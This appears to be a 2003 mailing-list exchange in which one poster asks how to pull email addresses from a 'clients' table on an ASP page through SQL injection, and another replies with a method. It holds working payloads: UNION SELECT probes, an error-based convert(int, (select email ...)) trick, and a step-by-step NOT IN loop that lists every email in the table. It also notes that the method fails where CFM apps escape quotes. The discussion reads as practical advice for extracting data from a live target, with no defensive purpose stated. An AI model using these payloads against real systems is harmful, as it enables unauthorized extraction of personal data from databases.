Re: SQL injection - get more values

From: Thaidn (thaidnat_private)
Date: Wed Feb 12 2003 - 11:05:07 PST

  • Next message: Brass, Phil (ISS Atlanta): "RE: SQL injection - get more values"

    Hello, Daniel
    Exactly, you can use "not in" with convert.
     'convert(int,(select email from clients where email not in('anonat_private'))) 
    --> return the next email value in table clients, for example danielat_private, 
    and go on submitting 'convert(int,(select email from clients where email not 
    in('anonat_private','danielat_private))), you will get all values in table 
    clients.
     note: this only works in ASP/IIS, not work in CFM application because CFM 
    escapes all " ' " in the query string, when I replace " ' " by " '' ", 
    sometimes it works but not always.
    hehe, sorry for my english :D.
    Hope this helpful.
     
    
    On Thursday 13 February 2003 12:48 am, Daniel Savi wrote:
    > Hi :)
    >
    > i'm trying to get some info from clients table and email field....
    >
    > i try this param into gubpage.asp?=...
    > ') union select sum(email) from clients--
    > and got error about all queries needed...so, i tryed to solve with
    > ') union select sum(email),1,1,1.... from clients--
    > until i get: operand type clash: text is incompatible with int
    >
    > i found this answer into this forum (thanks :)), was:
    > ' %2b convert(int, (SELECT email FROM clients WHERE email > 'a')) %2b '
    >
    > i got this:
    > Syntax error converting the varchar value 'anonat_private' to a column of
    > data type int
    >
    > Now, my problem: How can i get other e-mail from table knowing one valid
    > value?
    >
    > i try this
    > ' %2b convert(int, (SELECT email FROM clients WHERE email
    >
    > > 'anonat_private')) %2b '
    >
    > but no success
    >
    > i think i can use NOT iN, but not sure how to use with convert...
    >
    > Any tip are welcome!
    >
    > Thanks
    >
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